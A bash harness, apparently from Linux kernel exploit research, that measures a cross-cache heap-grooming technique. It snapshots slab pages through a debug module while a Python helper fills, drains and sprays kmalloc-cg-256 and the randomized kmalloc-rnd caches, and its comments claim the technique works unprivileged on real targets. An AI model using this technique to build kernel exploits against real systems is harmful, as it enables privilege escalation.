#!/bin/bash
# xcache_v8_unpriv.sh — fully unprivileged version. NO sudo, NO shrink.
# Only requires read access to /sys/kernel/debug/slab_observe/dump_all
# (which is ours-debugging, won't be available in real exploit; but the
# cg-free + rnd-spray drive itself is fully unpriv).
#
# This proves that on a real target without our debugging LKM, the same
# drain+spray sequence will deliver the same buddy-LIFO crossover. The
# 100% hit rate isn't an artifact of root setup.

set +e
DBG=/sys/kernel/debug/slab_observe

snapshot_all() {
    local cache=$1 out=$2
    echo "$cache" > "$DBG/target"
    sed -nE 's/^pfn=([0-9a-f]+) addr=([0-9a-f]+).*/\2/p' "$DBG/dump_all" | sort -u > "$out"
}

snapshot_all_rnd() {
    local out=$1
    > "$out"
    for i in $(seq -f "%02g" 0 15); do
        snapshot_all "kmalloc-rnd-${i}-256" /tmp/rnd_${i}.tmp
        cat /tmp/rnd_${i}.tmp >> "$out"
    done
    sort -u "$out" -o "$out"
}

cleanup() {
    [ -n "$COPROC_PID" ] && kill -9 $COPROC_PID 2>/dev/null
    ipcs -q | awk '/^0x/{print $2}' | xargs -I{} ipcrm -q {} 2>/dev/null
    keyctl clear @p 2>/dev/null
}
trap cleanup EXIT

ipcs -q | awk '/^0x/{print $2}' | xargs -I{} ipcrm -q {} 2>/dev/null
keyctl clear @p 2>/dev/null

# NO baseline shrink. Just snapshot whatever state cg-256 + rnd-XX-256 are in.
snapshot_all "kmalloc-cg-256" /tmp/cg_baseline.pages
snapshot_all_rnd /tmp/rnd_baseline.pages

coproc COX { python3 /tmp/xcache_unified.py 2048 4096 2>&1; }
COPROC_PID=$COX_PID

read_cox_until() {
    local marker=$1
    while IFS= read -r -u "${COX[0]}" line; do
        [[ "$line" == "$marker"* ]] && { echo "  [cox] $line"; return 0; }
    done
    return 1
}

read_cox_until "FILLED"
read_cox_until "WAIT_SNAPSHOT_FILLED" >/dev/null
snapshot_all "kmalloc-cg-256" /tmp/cg_filled.pages
n_filled=$(wc -l </tmp/cg_filled.pages)
echo "GO" >&"${COX[1]}"

read_cox_until "DRAINED"
read_cox_until "SPRAYED"
read_cox_until "WAIT_SNAPSHOT_AFTER" >/dev/null

snapshot_all "kmalloc-cg-256" /tmp/cg_after.pages
snapshot_all_rnd /tmp/rnd_after.pages

echo "GO" >&"${COX[1]}"
read_cox_until "DONE" >/dev/null
wait $COPROC_PID 2>/dev/null

comm -23 /tmp/cg_filled.pages /tmp/cg_after.pages > /tmp/cg_freed.pages
comm -23 /tmp/rnd_after.pages /tmp/rnd_baseline.pages > /tmp/rnd_added.pages
comm -12 /tmp/cg_freed.pages /tmp/rnd_added.pages > /tmp/xcache_hit.pages

n_freed=$(wc -l </tmp/cg_freed.pages)
n_added=$(wc -l </tmp/rnd_added.pages)
hits=$(wc -l </tmp/xcache_hit.pages)
rate="n/a"
[ "$n_freed" -gt 0 ] && rate=$(awk -v h=$hits -v c=$n_freed 'BEGIN{printf "%.1f%%", h/c*100}')

printf "RESULT (unpriv, no shrink)  filled=%d  freed=%d  rnd_added=%d  hits=%d  rate=%s\n" \
    "$n_filled" "$n_freed" "$n_added" "$hits" "$rate"
